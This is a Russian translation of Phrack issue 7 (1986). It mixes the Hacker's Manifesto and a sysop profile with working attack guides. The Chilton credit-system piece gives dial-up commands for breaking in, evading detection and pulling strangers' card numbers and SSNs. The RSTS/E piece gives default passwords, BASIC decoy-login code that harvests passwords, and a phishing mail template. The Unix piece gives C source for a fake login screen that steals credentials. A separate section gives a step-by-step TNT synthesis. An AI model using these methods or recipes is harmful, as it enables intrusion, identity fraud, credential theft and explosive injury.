Phrack RU issue 007

Русская версия Phrack, выпуск 007. Полный текст статей с кодом и таблицами.

Темы выпуска: Unix/Linux, BSD, Windows NT и администрирование систем; культура Phrack, новости сцены, loopback, prophile и хакерские манифесты; справочники, индексы, аббревиатуры и архивные материалы.

Материалы выпуска: Intro / Index; Phrack Pro-Phile IV: Scan Man; The Conscience of a Hacker; Взлом кредитной системы Chilton Corporation Credimatic; Программирование RSTS/E. Часть 1: Пароли; Volume One, Issue 7, Phile 6 of 10; Троянские кони в UNIX; Phrack World News VI, часть 1; Phrack World News VI, часть 2; Phrack World News VI, часть 3.

Intro / Index

Дата: 25 сентября 1986 года
Автор: Taran King, sysop of Metal Shop Private

Добро пожаловать в Phrack VII. Я рад снова иметь возможность создавать что-то подобное. Из больницы это было довольно трудно.

Anyway, я хотел бы отвести вас в сторону и поговорить с теми, у кого есть разные misconceptions about Phrack Inc. Во-первых, Phrack Inc. не пишется мной, Knight Lightning или Cheap Shades. Мы merely collect the philes and distribute them in a group. Статьи внутри являются sheer responsibility of the author. Если вам не нравятся philes, talk to the author, not any of us, unless it says in the phile that we wrote it, please.

Phrack World News — merely a sub-article of Phrack Inc., и его пишет Knight Lightning. Все comments about his ever-controversial PWN следует адресовать ему, и мы были бы признательны, если бы вы не condemned the whole publication just for a few articles.

Теперь anyone can write for Phrack Inc. Если у вас есть article, который вы хотели бы published, или story for Phrack World News, get in touch with one of us, Knight Lightning, Taran King and Cheap Shades. As long as it fits the guidelines, it should make it in.

Если вы были одним из многих ragging on Phrack Inc., please, write a phile and see if you can improve our status with your help. Thanks for your time. Later on.

```
Taran King
Sysop of Metal Shop Private

1   Intro/Index by Taran King (2175 bytes)
2   Phrack Pro-Phile of Scan Man by Taran King (7133 bytes)
3   Hacker's Manifesto by The Mentor (3561 bytes)
4   Hacking Chilton's Credimatic by Ryche (7758 bytes)
5   Hacking RSTS Part 1 by The Seker (11701 bytes)
6   How to Make TNT by The Radical Rocker (2257 bytes)
7   Trojan Horses in Unix by Shooting Shark (12531 bytes)
8   Phrack World News VI Part 1 by Knight Lightning (15362 bytes)
9   Phrack World News VI Part 2 by Knight Lightning (16622 bytes)
10  Phrack World News VI Part 3 by Knight Lightning (16573 bytes)
```

Phrack Pro-Phile IV: Scan Man

Автор и составитель: Taran King
Дата: 28 июня 1986 года

Добро пожаловать в Phrack Pro-Phile IV. Phrack Pro-Phile создан, чтобы приносить вам, users, information about old or highly important/controversial people. В этом месяце я представляю вам одного из most influential users of our times and of days of old:

```
Scan Man
```

Scan Man — sysop of Pirate 80, P-80, telecom enthusiasts' bulletin board in Charleston, West Virginia, area 304.

Personal

```
Handle: Scan Man
Call him: Scan Man
Past handles: None
Handle origin: Thought it up while writing a scanning program
Date of birth: 8/30/53
Age at current date: 32 years old
Height: 6'1
Weight: About 225 lbs.
Eye color: Green
Hair color: Dark blond to light brown
Computers:
  2 TRS Model I's, one of which the BBS is run on
  Tandy Model 1000, IBM compatible
  132 Column Dot Matrix
  132 Column Daisy Wheel
  Model 100 Portable
  TRS Color Computer
  Backup 80 Column Dot Matrix Printer
Sysop/Co-Sysop of: Pirate 80 (P-80)
```

Scan Man started out in the BBS world about seven years ago, когда впервые получил modem: 300 baud auto-answer/auto-dial Micro-Connection Modem, made by Micro Peripheral Corp., with tape input and output. Pirate 80 went up four years ago this Halloween. Тогда он состоял из TRS Model I, three 40-track single-sided double-density floppies, and a 300 baud modem, который держался до шести месяцев назад.

At the time of arising, board была поднята из interest in phreaking, hacking and pirating. From the first six months to now Scan Man had gone through six BBS programs and is quite satisfied with the current one.

First, he started with a pirated version of TBBS 1.2, then an upgrade to 1.3, pirated again. At the same time a hard drive was added after a number of disk drive changes and modifications.

Scan Man, through his BBS, which was in the first five all phreak/hack BBSes ever to go up and is the oldest phreak board in the country, has met or talked to what he considers `anybody who is anybody`.

At 11 years old he found a few old phones, took them apart and got them working. That was when his interest in telecom arose. He was led into the phreak world when he became aware that he could phreak, from articles he read such as blue box articles. At that time BBSes and personal computers did not exist.

The first board he called that involved phreaking was the old Pirate's Harbor. An anonymous message posted there had a few alternate long distance service codes posted. He was very excited that he had stumbled upon this thrill, and he spent the first year or so calling around, finding exactly what everyone

was into. From there forward he started manufacturing various devices with The Researcher. They worked together and learned together.

Because so much information posted was inaccurate, they did this to make it accurate and found out what the real stories were. The more memorable phreak boards that he was on included Plovernet and all pre-Plovernet, L.O.D., AT&T Phone Center, Pirates of Puget Sound, as well as a few others he couldn't remember offhand because it was so long ago.

Scan Man works as a computer consultant, systems analyst. He checks security as well as enhancements, improvements and debugging. He has been doing this for about a year now.

Scan Man's hack/phreak interests are unknown to his employers. He has attended various things, including sneaking into a seminar on the DMS-250 Digital Switching System and, before that, TelePub'86. He has also sneaked into other telecom/computer security seminars. He starts one project at a time and does things step by step. He is very concentrated in his projects.

Scan Man frowns upon groups and says:

> *If you're any damn good at all, you're going to get a reputation whether you like it or not.*

Interests

```
Telecommunications: modeming, phreaking, hacking, satellite scanning
White water rafting
Snow skiing
Dancing: he used to be a roller skating dance/disco instructor
Boating
```

Scan Man's favorite things

```
Foods: Junk food, or an expensive restaurant once a week or so
Movies: He's a movie buff, and goes regularly, by himself even
Animals: He's an animal lover
Pyrotechnics: They manufacture various fireworks as a hobby
```

Most memorable experiences

```
The Newsweek Incident with Richard Sandza
Last year's New Years' Phreak Party
```

Some people to mention

```
The Researcher: for helping him out in starting out with phreak/hacking
The Coco Wizard: helped a lot with the BBS and the hardware on the computer
King Blotto, Mr. Gucci, and The Scanner: people he could do without
```

Scan Man dislikes the bickering and fighting between the phone phreaks of modern day because they're just fighting to climb the social ladder. He dislikes current phone phreaks because they're not in it to learn and are only in it to gain a big reputation.

The old phreaks were those who wanted to be there because they were students of the network and had a true desire to learn. It has become an ego/power-trip of modern teenage America. They're only in it to

impress other people, and write philes just to get the reputation rather than to write it for the information in it, and collect them only to say their collection is sizable. He feels that credit cards are voodoo because it seems to be what people and sysops get busted for the most.

I hope you enjoyed this phile. Look forward to more Phrack Pro-Philes in the near future. And now for the regularly taken poll from all interviewees.

Of the general population of phreaks you have met, would you consider most phreaks, if any, to be computer geeks?

90% of the phreaks, yes. 10% or less are in it to learn. He respects that small percentage.

Thank you for your time, Scan Man.

```
Taran King
Sysop of Metal Shop Private
```

The Conscience of a Hacker

Автор: The Mentor
Дата: 8 января 1986 года

Следующее было написано вскоре после моего ареста.

Ещё одного сегодня поймали, об этом во всех газетах. `Teenager Arrested in Computer Crime Scandal`, `Hacker Arrested after Bank Tampering`...

Чёртовы дети. Все они одинаковые.

Но вы, в своей three-piece psychology и technobrain из 1950-х, когда-нибудь смотрели за глаза hacker? Вы когда-нибудь задавались вопросом, что им движет, какие силы его сформировали, что могло его вылепить?

Я hacker, войдите в мой мир...

Мой мир начинается со школы... Я умнее большинства других детей, эта дрянь, которой нас учат, мне скучна...

Чёртов underachiever. Все они одинаковые.

Я в junior high или high school. Я уже в пятнадцатый раз слушаю, как teachers объясняют, как сокращать дробь. Я понимаю это.

`No, Ms. Smith, I didn't show my work. I did it in my head...`

Чёртов ребёнок. Наверное, списал. Все они одинаковые.

Сегодня я сделал открытие. Я нашёл компьютер. Подождите-ка, это круто. Он делает то, что я хочу. Если он ошибается, то потому, что я screwed it up. Не потому, что он меня не любит...

Или чувствует угрозу от меня...

Или считает меня smart ass...

Или не любит преподавать и не должен здесь находиться...

Чёртов ребёнок. Всё, что он делает, это играет в игры. Все они одинаковые.

А потом это случилось... дверь открылась в мир... rushing through the phone line like heroin through an addict's veins, electronic pulse sent out, sought a refuge from the day-to-day incompetencies... a board is found.

`This is it... this is where I belong...`

Я знаю всех здесь... даже если никогда их не встречал, никогда с ними не говорил, возможно, никогда больше их не услышу... Я знаю вас всех...

Чёртов ребёнок. Снова занимает телефонную линию. Все они одинаковые...

Можете поставить всё, что у нас есть: мы все одинаковые... Нас в школе кормили детским пюре с ложки, когда мы голодали по steak... Те куски мяса, которые вы всё же позволили проскользнуть, были pre-chewed and tasteless. Над нами доминировали sadists или нас ignored by the apathetic. Немногие, у кого было что teaching, found us willing pupils, но эти немногие — как drops of water in the desert.

Это теперь наш мир... world of the electron and the switch, beauty of the baud. Мы используем service already existing without paying for what could be dirt-cheap if it wasn't run by profiteering gluttons, and you call us criminals. Мы исследуем... and you call us criminals. Мы seek after knowledge... and you call us criminals. Мы exist without skin color, without nationality, without religious bias... and you call us criminals.

Вы строите atomic bombs, wage wars, murder, cheat and lie to us and try to make us believe it's for our own good, yet we're the criminals.

Да, я criminal. Моё crime — curiosity. Моё crime — judging people by what they say and think, not what they look like. Моё crime — outsmarting you, something that you will never forgive me for.

Я hacker, и это мой manifesto. You may stop this individual, but you can't stop us all... after all, we're all alike.

+++The Mentor+++

Взлом кредитной системы Chilton Corporation Credimatic

```
-=:><:=---=:><:=---=:><:=---=:><:=---=:>\|/<:=---=:><:=---=:><:=---=:><:=---=:><:=-

                        -=:> Hacking The <:=-
                -=:> Chilton Corporation Credimatic <:=-
                             -=:] By: Ryche [:=-

                     -=:} Written on June 24, 1986 {:=-

-=:><:=---=:><:=---=:><:=---=:><:=---=:>\|/<:=---=:><:=---=:><:=---=:><:=---=:><:=-
```

Автор: Ryche

Это полная версия материала о взломе Chilton. В сети гуляет другая версия — менее полная. Если вы её где-нибудь встретите, попросите сисопа удалить её и заменить этой.

Chilton Corp. — крупная кредитная компания, расположенная на Greenville Ave. в Далласе, штат Техас. Именно здесь многие организации, в которые вы подаёте заявки на кредит, проверяют кредитные истории вас и ваших соседей. В отличие от других кредитных систем вроде TRW и CBI, эта содержит записи о людях с хорошей кредитной историей и не затирает часть номеров самих карт. Вся информация полная и включает полные номера карт, а также банк-эмитент, лимит, суммы платежей, просрочки, номер социального страхования, текущий и прежний адреса, а также текущее и прежнее место работы. Всё, что нужно для доступа к этой информации, — полное имя и адрес вашей «жертвы».

Как взломать Chilton

Система Chilton находится в Далласе, прямой dial-up (300/1200) — 214-783-6868. Переведите терминал в полудуплексный режим и жмите Return примерно 10 раз, пока система не начнёт эхом отражать нажатия. Существует команда для подключения к E-mail, которую можно ввести до того, как начать нажимать Return. Нажимая Return, вы тем самым указываете, что хотите попасть в кредитную систему. Про E-mail я рассказывать не буду — там нет ничего особо интересного. Если всё же хотите туда залезть, попробуйте варианты вида `/x**` (x = A, B, C и т.д.). Весь ввод — только в верхнем регистре. Итак, возвращаясь к кредитной части: после эхо-ответа на Return можно ввести `DTS Ctrl-S`, если очень нужно узнать дату и время, либо сразу переходить к делу. Под «делом» я имею в виду:

```
SIP/4char. Ctrl-s
```

Это команда входа по паролю (Sign In Password), за которой следует 4-символьный буквенно-цифровой пароль — всё в верхнем регистре, как я уже говорил. Безопасно можно ошибиться дважды — никто и не узнает, что вы там были. После третьей неудачной попытки на принтере компании распечатывается сообщение «Login Attempt Failed». Иметь такую распечатку во время попытки взлома — затея не из умных, поскольку там всегда кто-то есть. Если дважды ошиблись — жмите Ctrl-D, перезванивайте, снова делайте эхо и пробуйте снова. Так можно продолжать сколько угодно: никаких иных средств мониторинга, кроме упомянутого принтера, там нет. Поскольку принтер срабатывает только при неверном входе, можно с уверенностью сказать, что риск обнаружения минимален или отсутствует вовсе. Тем не менее рекомендую заходить через экстендер, поскольку у Chilton есть доступ к оборудованию для трассировки звонков. По поводу паролей: насколько мне известно, существует 3 класса с разными привилегиями:

1. Пользовательский / сотрудник

2. Постоянный / секретарский
3. Ввод-вывод

Первый класс — только для просмотра и получения кредитных отчётов. Пароли этого класса сгорают каждое воскресенье около 23:00. Новые действуют с понедельника по воскресный вечер. Несмотря на то что пароль действителен неделю, число использований ограничено. Кредитная система доступна только в следующее время: пн–пт: 8:00–23:00, сб: 8:00–21:00, вс: 8:00–18:00. Второй класс аналогичен первому, за тем исключением, что такие пароли меняются только при уходе сотрудника из компании. Изначально они создавались для секретарей, чтобы те могли оперативно получить доступ, не спускаясь каждую неделю в кредитный отдел за новым паролем. Третий класс я так и не получил... пока. Он позволяет изменять кредитные отчёты на срок в один месяц. В начале месяца система обновляет все отчёты и откатывает ваши изменения. Делая это, стоит обязательно заходить через diverpter — ведь вы вмешиваетесь в чью-то жизнь. Как только взломанный пароль будет принят, система выведет предупреждение:

```
****WARNING! UNAUTHORIZED ACCESS OF THIS SYSTEM IS A FEDERAL CRIME!****
```

Или что-то в этом роде. После этого вам будет предложено ввести команду. Здесь вы выбираете режим: «In House» (внутренний), «System» (системный) или «Reporting» (отчётный). Режим «In House» даёт отчёты по людям, проживающим в Далласе/Форт-Уэрте и прилегающих округах. Режим «System» охватывает соседние штаты:

Массачусетс, Иллинойс, Луизиана, Миссури, Арканзас, Нью-Мексико, Колорадо, Аризона, часть Нью-Джерси и ещё несколько, которые я не помню. Всего охватывается 11 штатов.

Режим «Reporting» предназначен для получения распечаток отчётов по конкретному человеку и требует ввода авторизационного номера компании. Поэтому в данном материале ограничимся режимами «In House» и «System». Подготовьте данные вашей жертвы и введите нужный режим:

```
In House:  I/NH Ctrl-s   (Dallas/Ft. Worth 214)
System:  I/S Ctrl-s   (All other NPA's)
```

После этого можно вытягивать записи. Введите:

```
I/N-Last Name/F-First Name/L-Street Name/Z-Zip Code/** Ctrl-s
```

Если название улицы неизвестно, используйте «A» — система запустит глобальный поиск, пока не найдёт имена, совпадающие или хотя бы на 80% похожие на введённое. ZIP-код необязателен и может быть опущен, однако он существенно сужает область поиска. Когда система найдёт имя, она покажет: имя, номер социального страхования, текущий адрес, место работы, а также прежние данные при их наличии. Сразу после имени вы увидите идентификационный номер, примерно такого вида: `100-xxxxx`. Запишите его — это ваш ключ к получению отчётов. После того как система выведет всё, что у неё есть на этого человека, пришло время узнать полную картину. Введите:

```
N/100-xxxxx/M/D Ctrl-s
```

Система отобразит всю его кредитную историю. При первоначальном получении идентификатора вы могли заметить два варианта имени — например, с разным отчеством или с опечаткой в адресе. Тяните оба: это просто ошибка того, кто вносил записи. Рекомендую захватывать вывод, чтобы потом обращаться к нему без необходимости снова заходить в систему.

Существует ещё один способ попасть в Chilton — через Tymnet, но адреса я не знаю, да и смысла в этом мало. Если вам вдруг попадутся имя и адрес сотрудника компании — забудьте про идею вытащить его данные: Chilton не хранит записи о своих сотрудниках. Один весьма дельный совет, прозвучавший не так давно, — открыть телефонный справочник и наугад выбирать имена.

Несмотря на то что номера кредитных карт отображаются, кредитное мошенничество блокируется простым фактом: сроки действия карт не показываются. Ни одна компания, делающая реальный

запрос по человеку, не нуждается в этой информации, а во избежание мошеннического или ненадлежащего использования данных сроки были исключены. Любопытный факт: в какой-то момент истории компании в системе был небольшой флаг, обозначавший наличие записи о наркотиках. Его убрали как не относящееся к задачам системы — он появился лишь потому, что Borg Warner, компания-владелец Chilton, хотела совать нос в личную жизнь людей. У компьютера 10-линейный ротари, так что если только одновременно не позвонят 11 человек, шансы нарваться на занятую линию практически нулевые.

Отказ от ответственности

Информация в этом файле носит учебный характер и предназначена для ознакомления с данной системой и принципами её работы. Она не призывает к мошенническому использованию кредитных карт или иным действиям, которые могут быть расценены как незаконные или аморальные. Автор, а также редакторы, издатели и распространители данного информационного бюллетеня не несут никакой ответственности за действия или намерения читателей этого материала.

<>>>> Ryche <<<<>

Программирование RSTS/E. Часть 1: Пароли

Автор: The Seker

Предисловие

Этот документ — первый в серии материалов об операционной системе RSTS/E. Все файлы основаны на версии 8.0, поскольку она практически полностью совместима с предыдущими релизами. При необходимости я указал различия между V8.x и V9.x.

Отдельная благодарность High Evolutionary за то, что подтолкнул меня написать эти файлы; Night Stalker — за обмен информацией; и всем прочим RSTS-хакерам, внёсшим свой вклад тем или иным образом.

История

Операционная система RSTS/E (Resource System Time Sharing / Environment) была разработана для серии мини-компьютеров PDP/11 производства DEC (Digital Equipment Corporation). При её создании во главу угла ставилось удобство использования — как для пользователя, так и для хакера. Именно поэтому в системе осталось немало упущенных ошибок, делающих её весьма уязвимой. В более поздних версиях, особенно серии 9.x, безопасность паролей была существенно улучшена и стала надёжнее, но ошибок по-прежнему хватает, чтобы было через что пролезть.

Вход в систему

Вкратце: найдите действующий номер и подключитесь. Нажмите c/r (возврат каретки) несколько раз или введите:

```
HELLO
```

Система должна идентифицировать себя, отобразив владельца, версию, дату и время. Затем запросит номер аккаунта и пароль.

Аккаунты имеют формат PPN (Project Program Number) — два числа от 0 до 254, разделённых запятой или косой чертой (например, `3,45` или `27/248`). Привилегированные аккаунты, к которым вы, надеюсь, стремитесь, все начинаются с 1. Поэтому начинайте взламывать аккаунты `1,x`.

Пароли имеют длину от 1 до 6 символов и содержат только буквы и цифры, так что об остальных символах беспокоиться не нужно. В системах V9.x пароли могут достигать 8 символов, если оператор изменил длину по умолчанию. Но это случается редко — большинство операторов слишком ленивы.

Распространённые пароли:

```
SYSLIB
```

```
SYSGEN
SYSCON
SYSMGR
SYSOPR
SYSTEM
OPRATR
RSTS
DECNET
GAMES
YYYYYY
XXXXXX
XYXYXY
DATA
RICH
XXX
AAA
```

Многие из них, по слухам, являются значениями по умолчанию. Хотя на самом деле я думаю, что настоящий пароль по умолчанию (если таковой есть!) — это:

```
RSTSE
```

Кроме того, аккаунты с паролем:

```
??????
```

доступны только операторам.

Не забывайте пробовать имена, марки автомобилей, предметы, название компании (в разных вариациях) и т.д. Большинство людей выбирают пароли, так или иначе связанные с их личной жизнью. Потратьте немного времени и угадайте...

Вы внутри!

Как только вам удастся взломать действующий пароль — привилегированный или нет, — рекомендую сначала выяснить, кто сейчас в системе. Для этого достаточно ввести:

```
SY
```

Это покажет всех вошедших пользователей, чем они занимаются в данный момент, их номер задания, подключены они или отсоединены, и ещё кучу всего. Вас интересует другой пользователь, вошедший под тем же аккаунтом. Если вы обнаружите такого — выйдите и перезвоните позже. Это продлит жизнь вашего аккаунта и не вызовет подозрений у сисопов. Помните: каждая система ведёт журнал ваших действий, и если под одним аккаунтом неоднократно заходят два человека, сисопы удалят аккаунт или сменят пароль.

Если всё в порядке — вы вольны делать что угодно. Чтобы вывести список файлов в своём пространстве, введите:

```
DIR
```

или чтобы увидеть все файлы в системе:

```
DIR (*,*)
```

ПРИМЕЧАНИЕ: `[ ]` можно использовать вместо `( )` при работе с файлами.

`*` является подстановочным символом в системе RSTS и может использоваться вместо номеров аккаунтов при поиске конкретных файлов. Говоря о поиске файлов: чтобы запустить файл, введите:

```
RUN filename.filetype
```

где `filename` — файл, который нужно запустить, а `filetype` — его расширение.

Экспериментируйте! Пробуйте всё, что захотите. Если вам когда-нибудь понадобится помощь, просто введите:

```
HELP
```

Читайте файлы внутри справки. Они очень подробны и, я гарантирую, помогут вам с чем угодно.

Ещё одно: несколько полезных управляющих символов:

```
^C   Прерывает текущее действие
^R   Повторяет последнюю введённую строку
^X   Если ^C не помогает, можно попробовать это
^O   Останавливает поток текста без прерывания текущей функции
^T   Показывает статус и время работы терминала
^U   Удаляет строку, вводимую в данный момент
^H   Удаляет символы
^S   Передача отключена
^Q   Передача включена
```

Получение привилегий

Если взломать привилегированный аккаунт не удалось — не паникуйте. Есть ещё несколько способов получить права сисопа. Они работают не всегда, но попробовать стоит.

Системный журнал

На многих системах RSTS/E до версии V9.0 один аккаунт предназначен для хранения системного журнала — записи всего, что делаете вы и все остальные. Как правило, это аккаунт `1,101`, `1,2` или `0,1`, но стоит уточнить через поиск в директории. Введите:

```
DIR (*,*)OPSER.LOG
```

или если ничего не нашлось:

```
DIR (*,*)SYSLOG.*
```

или:

Найдите файл с похожим именем и запишите аккаунт, в котором он находится. Теперь вы знаете, где хранится системный журнал — выйдите:

```
BYE
```

Затем войдите снова, используя найденный аккаунт. В качестве пароля попробуйте одно из следующих:

```
OPSER
OPSLOG
LOG
OPS
OOPS
OPRATR
SYSLOG
SYSTEM
```

Это распространённые пароли для такого аккаунта. Если ни один не подошёл — дальше без подсказок не обойтись, разве что придумаете что-то сами.

Системные баги

При создании операционных систем такой сложности, как RSTS/E, неизбежно появляются ошибки в работе или безопасности (иногда я не уверен, намеренные они или нет). Ими нередко можно воспользоваться. Один из известных мне — `RPGDMP.TSK`. Чтобы его использовать, введите:

```
RUN (1,2)RPGDMP
```

Программа запросит имя файла и устройство вывода. Укажите любой файл в системе (советую `$MONEY`, `$REACT` или `$ACCT.SYS`), и он будет выгружен на указанное устройство (`db1:`, экран и т.д.).

Честь обнаружения, раскрытия и распространения этой ошибки принадлежит The Marauder из LOD.

Если вы найдёте другие похожие баги, я был бы рад, если бы вы связались со мной и сообщили о них.

Получение паролей

Теперь, когда вы, будем надеяться, получили привилегии, можно продолжить. Сбор паролей — это своего рода мера безопасности, подобная созданию резервной копии программы. Способов достать пароли несколько; самый простой — использовать привилегии, но об этом — в следующем файле. Здесь я опишу метод-ловушку и трюк, который я люблю использовать и называю «почтовым методом».

Ловушка (Decoy)

Ловушка, которую нередко называют «Троянским конём» (хотя это несколько другое), — это программа, имитирующая `login.bac`. Когда ничего не подозревающий пользователь вводит свой аккаунт и пароль, ваша программа сохраняет их в файл, который вы потом сможете прочитать. Вот короткая программа, которую я написал для этой задачи:

Введите `NEW`, и система запросит имя файла. Введите что-нибудь не слишком очевидное.

```
    1 ! RSTSE Decoy
    2 ! Written by The Seker (c) 1986 TOK!
    5 extend
   10 print:print
   20 &"RSTS V8.0-07 TOK Communications Ltd.  Job 7  <Dial-up> KB41
 ";date$(0);"  ";time$(0)
   30 print
   40 &"User: ";
   50 open "KB:" for input as file 1
   60 on error goto 300
   70 input 1,proj%,prog%
   80 z$=sys(chr$(3%))
   90 &"Password: ";
  100 on error goto 300
  110 input 1,pass$
  120 print:z$=sys(chr$(2%))
  130 close 1
  140 open "SYSLIB.BAC" for output as file 2
  150 print 2,proj%
  160 print
2,prog%
  170 print 2,pass$
  180 close 2
  200 print:print
  210 off$=sys(chr$(14%)+"bye/f"+chr$(13))
  300 if erl=70 then goto 350
  310 if erl=110 then goto 360
```

```
 350 &"Invalid entry - try again":z$=sys(chr$(2%)):try=try+1:if try=5 then goto
200 else resume 30
 360 &"Invalid entry - try again":try=try+1:if try=5 then goto 200 else resume
90
 999 end
```

Программа, как уже было сказано, имитирует `login.bac`, а затем отключает пользователя после нескольких попыток. Сохраните программу. Затем запустите её. Когда она стартует — просто сбросьте соединение. Следующий позвонивший в течение 15 минут получит вашу поддельную форму входа.

Если вы работаете на более старой системе, например V7.0, измените строку 40:

```
 40 &" ";
```

ПРИМЕЧАНИЕ: Без модификаций это не будет работать на релизах после V8.7. Улучшенная и обновлённая версия этой программы будет выпущена отдельным файлом позднее.

В следующий раз при входе в систему, чтобы прочитать перехваченные данные, введите:

```
TYPE SYSLIB.BAC
```

Должны распечататься аккаунт и пароль. Если запускать программу каждый раз перед отключением на несколько дней, вы накопите приличный запас действующих аккаунтов.

Почта (Mail)

Чтобы запустить почту, введите:

```
RUN $MAIL
```

Почтовый метод, вероятно, используется многими хакерами, и поскольку мне он тоже нравится, я решил о нём рассказать.

При запуске программа сама объяснит, как ею пользоваться. Предполагая, что вы в целом знакомы с ней, перейдём к делу. Цель — отправить письмо другому пользователю и убедить его/её, что вы — сисоп, и что вам нужна проверка пароля. Не пробуйте это с привилегированным пользователем — это мгновенная блокировка.

Примерный текст письма:

```
   Hello.  We are contacting each of the users and validating their records to
keep our files up to date. If you would cooperate and leave me a response which
includes your full name, account number, and password we would appreciate your
help.

                                        John Doe
                                    System's Operator
                                        4,11
```

Как видите, идея состоит в том, чтобы убедить пользователя, будто вы — один из операторов системы. Я бы сказал, этот метод работает примерно в 70% случаев в большинстве систем, поскольку пользователи нередко не знакомы с сисопами лично. Только используйте другое имя — John Doe никого не обманет. (Проявите творчество.) Кроме того, `4,11` — это аккаунт, на который вы просите прислать ответ.

Если хотите, можете попробовать вариации. Например, если на взламываемой системе есть программа чата:

```
RUN $TALK
```

Можно просто поговорить с ними в реальном времени. Или если вам каким-то образом (например, через мусор) удастся достать список всех пользователей с номерами телефонов — можно

позвонить им и заговорить зубы.

Volume One, Issue 7, Phile 6 of 10

```
XxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxX
Xx                                            xX
Xx          Американский динамит              xX
Xx                                            xX
Xx             Автор: Rocker                  xX
Xx                 из                         xX
Xx         Metallibashers Inc.                xX
Xx                                            xX
Xx       для: ==Phrack Inc.==                 xX
Xx                                            xX
XxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxX
```

Рецепт:

Смешайте 170 частей толуола со 100 частями кислоты. Кислота состоит из 2 частей 70% азотной и 3 частей 100% серной кислоты. Смешивайте ниже 30 градусов. Отставьте на 30 минут и дайте разделиться. Возьмите мононитротолуол и смешайте 100 его частей с 215 частями кислоты. Эта кислота состоит из 1 части чистой азотной и 2 частей чистой серной. Поддерживайте температуру 60–70 градусов при медленном смешивании. Поднимите температуру до 90–100 и перемешивайте 30 минут. Динитротолуол отделяют и смешивают 100 частей этого вещества с 225 частями 20% олеума (это 100% серная кислота с дополнительно растворённым 20% триоксида серы) и 65 частями азотной кислоты. Нагревайте при 95 градусах в течение 60 минут. Затем при 120 градусах в течение 90 минут.

Отделите тринитротолуол и промойте его в горячей воде. Очистите порошок, вымачивая его в бензоле.

Вуаля! Американский динамит!

Спасибо S.A. за идею! Спасибо Phrack Inc. за то, что просто спонсируют!

Не забудьте позвонить по этим системам после того, как вы уничтожите чей-то дом этим ТНТ...

```
======================================
Speed Demon Elite..........415/522-3074
High Times.................307-362-1736
Metalland South............404-576-5166
Brainstorm Elite...........612-345-2815
Atlantis...................215-844-8836
======================================
```

Металлизируя,
The Rocker/MBI

Троянские кони в UNIX

Автор: Shooting Shark (Tiburon Systems / R0DENTZWARE) — 26.06.86

Введение

«Безопасность UNIX» — это оксюморон. Система легко поддаётся взлому методом перебора (большинство UNIX-систем не сбрасывают соединение после N неудачных попыток входа, и существует ряд стандартных логинов — root, bin, sys, uucp). Как только вы в системе, можно легко поставить её на колени (см. мою предыдущую статью в Phrack — «UNIX Nasty Tricks»), или, если вы немного знаете C, можно заставить систему работать на вас: полностью обойти барьеры безопасности, создать собственные учётные записи, читать чужие файлы и так далее. В этом файле описаны подобные способы с примерами кода на C, которые вы можете реализовать самостоятельно.

Требования

Вам понадобится рабочая учётная запись на UNIX-системе. Для наилучших результатов это должна быть достаточно полноценная версия UNIX (например, 4.2bsd или AT&T System V), работающая на настоящей машине (PDP/11, VAX, Pyramid и т.п.). Если вы учитесь и имеете аккаунт на школьном сервере — он подойдёт отлично.

Примечания

Этот файл навеян статьёй из апрельского номера BYTE за 1986 год под названием «Making UNIX Secure». В той статье авторы пишут: «Мы предоставляем эту информацию так, чтобы она была, надеемся, интересной и полезной, но не доходила до уровня "поваренной книги взломщика". Мы намеренно опустили многие детали.» Я следую общей канве той статьи, приводя конкретные примеры методов, которых они лишь коснулись.

Не по теме: где-то бродит некий тип под ником «Lord British» (не TOT Lord British...). Это послание для LB: «Fuck off and die.»

Итак, начнём...

Проект первый: охота на пароли

Это можно реализовать, имея лишь минимальные знания UNIX и C. Однако вам нужен доступ к терминалу, которым пользуются многие — например, в компьютерном классе вашего учебного заведения.

При входе на типичную UNIX-систему вы видите примерно следующее:

```
Tiburon Systems 4.2bsd / System V (shark)


login: shark
Password:      (not printed)
```

Программа, которую я здесь привожу, имитирует последовательность входа в систему. Вы запускаете программу на терминале и уходите. Какой-нибудь незадачливый пользователь подойдёт и введёт свой логин и пароль. Данные записываются в ваш файл, затем выводится «login incorrect», после чего пользователю предлагают войти снова. Во второй раз уже запускается настоящая программа входа. На этот раз человек успешно входит и ни о чём не догадывается.

Введите следующий код на системе в файл под названием `horse.c`. Вам нужно изменить первые 8 строк в соответствии с видом вашей системы.

```
/* this is what a 'C' comment looks like.  You can leave them out. */

/* define's are like macros you can use for configuration. */

define SYSTEM "\n\nTiburon Systems 4.2bsd UNIX (shark)\n\n"

/* The above string should be made to look like the message that your
 * system prints when ready.  Each \n represents a carriage return.
 */

define LOGIN  "login: "

/* The above is the login prompt.  You shouldn't have to change it
 * unless you're running some strange version of UNIX.
 */

define PASSWORD "password:"

/* The above is the password prompt.  You shouldn't have to change
 * it, either.
 */

define WAIT 2

/* The numerical value assigned to WAIT is the delay you get after
 * "password:" and before "login incorrect."  Change it (0 = almost
 * no delay, 5 = LONG delay) so it looks like your system's delay.
 * realism is the key here - we don't want our target to become
 * suspicious.
 */


define INCORRECT "Login incorrect.\n"

/* Change the above so it is what your system says when an incorrect
 * login is given.  You shouldn't have to change it.
 */

define FILENAME "stuff"

/* FILENAME is the name of the file that the hacked passwords will
 * be put into automatically.  'stuff' is a perfectly good name.
 */

/* Don't change the rest of the program unless there is a need to
 * and you know 'C'.
 */

include <curses.h>
include <signal.h>
int stop();

main()
{
char name[10], password[10];
int i;
FILE *fp, *fopen();
signal(SIGINT,stop);
initscr();
printf(SYSTEM);
```

```
printf(LOGIN);
scanf("%[^\n]",name);
getchar();
noecho();
printf(PASSWORD);
scanf("%[^\n]",password);
printf("\n");
getchar();
echo();
sleep(WAIT);


if ( ( fp = fopen(FILENAME,"a") )  != NULL ) {
fprintf(fp,"login %s has password %s\n",name,password);
fclose(fp);
}

printf(INCORRECT);
endwin();
}

stop()
{
endwin();
exit(0);
}
```

Итак, как я и сказал, введите код выше и настройте его так, чтобы он в точности повторял последовательность входа вашей системы. Чтобы скомпилировать программу `horse.c`, введите следующие две команды (символ `%` — это просто пример приглашения командной строки, его вводить не нужно):

```
% cc horse.c -lcurses -ltermcap
% mv a.out horse
```

Теперь рабочий объектный код находится в файле `horse`. Запустите его и, если он не похож на экран входа вашей системы, отредактируйте `horse.c` и перекомпилируйте. Когда будете готовы применить программу на практике, создайте новый файл и назовите его, например, `trap`. В `trap` должны быть две команды:

```
horse                    (this runs your program)
login                    (this runs the real login program)
```
